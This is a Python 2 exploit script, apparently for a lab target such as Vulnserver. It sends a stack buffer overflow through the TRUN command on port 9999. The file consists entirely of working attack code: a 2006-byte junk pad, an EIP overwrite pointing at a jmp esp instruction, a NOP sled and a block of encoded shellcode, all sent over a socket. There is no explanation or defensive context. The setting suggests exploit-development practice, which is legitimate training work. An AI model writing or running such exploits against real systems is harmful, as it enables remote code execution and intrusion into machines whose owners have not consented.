#!/usr/bin/python
import socket

server = '192.168.56.101'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

junk = 'A'*2006         # Junk value to overflow the stack
eip = '\x8d\xef\x34\x77'    # jmp esp
nops = '\x90'*64    # To make sure that jump will be inside our shellcode

buf =  ""
buf += "\xda\xc5\xba\x44\x7e\x90\x82\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x52\x31\x50\x17\x83\xe8\xfc\x03\x14\x6d\x72"
buf += "\x77\x68\x79\xf0\x78\x90\x7a\x95\xf1\x75\x4b\x95\x66"
buf += "\xfe\xfc\x25\xec\x52\xf1\xce\xa0\x46\x82\xa3\x6c\x69"
buf += "\x23\x09\x4b\x44\xb4\x22\xaf\xc7\x36\x39\xfc\x27\x06"
buf += "\xf2\xf1\x26\x4f\xef\xf8\x7a\x18\x7b\xae\x6a\x2d\x31"
buf += "\x73\x01\x7d\xd7\xf3\xf6\x36\xd6\xd2\xa9\x4d\x81\xf4"
buf += "\x48\x81\xb9\xbc\x52\xc6\x84\x77\xe9\x3c\x72\x86\x3b"
buf += "\x0d\x7b\x25\x02\xa1\x8e\x37\x43\x06\x71\x42\xbd\x74"
buf += "\x0c\x55\x7a\x06\xca\xd0\x98\xa0\x99\x43\x44\x50\x4d"
buf += "\x15\x0f\x5e\x3a\x51\x57\x43\xbd\xb6\xec\x7f\x36\x39"
buf += "\x22\xf6\x0c\x1e\xe6\x52\xd6\x3f\xbf\x3e\xb9\x40\xdf"
buf += "\xe0\x66\xe5\x94\x0d\x72\x94\xf7\x59\xb7\x95\x07\x9a"
buf += "\xdf\xae\x74\xa8\x40\x05\x12\x80\x09\x83\xe5\xe7\x23"
buf += "\x73\x79\x16\xcc\x84\x50\xdd\x98\xd4\xca\xf4\xa0\xbe"
buf += "\x0a\xf8\x74\x10\x5a\x56\x27\xd1\x0a\x16\x97\xb9\x40"
buf += "\x99\xc8\xda\x6b\x73\x61\x70\x96\x14\x4e\x2d\xa0\x81"
buf += "\x26\x2c\xd0\x59\x56\xb9\x36\x33\x88\xec\xe1\xac\x31"
buf += "\xb5\x79\x4c\xbd\x63\x04\x4e\x35\x80\xf9\x01\xbe\xed"
buf += "\xe9\xf6\x4e\xb8\x53\x50\x50\x16\xfb\x3e\xc3\xfd\xfb"
buf += "\x49\xf8\xa9\xac\x1e\xce\xa3\x38\xb3\x69\x1a\x5e\x4e"
buf += "\xef\x65\xda\x95\xcc\x68\xe3\x58\x68\x4f\xf3\xa4\x71"
buf += "\xcb\xa7\x78\x24\x85\x11\x3f\x9e\x67\xcb\xe9\x4d\x2e"
buf += "\x9b\x6c\xbe\xf1\xdd\x70\xeb\x87\x01\xc0\x42\xde\x3e"
buf += "\xed\x02\xd6\x47\x13\xb3\x19\x92\x97\xc3\x53\xbe\xbe"
buf += "\x4b\x3a\x2b\x83\x11\xbd\x86\xc0\x2f\x3e\x22\xb9\xcb"
buf += "\x5e\x47\xbc\x90\xd8\xb4\xcc\x89\x8c\xba\x63\xa9\x84"

injection = junk + eip + nops + buf
s.send(('TRUN .' + injection + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
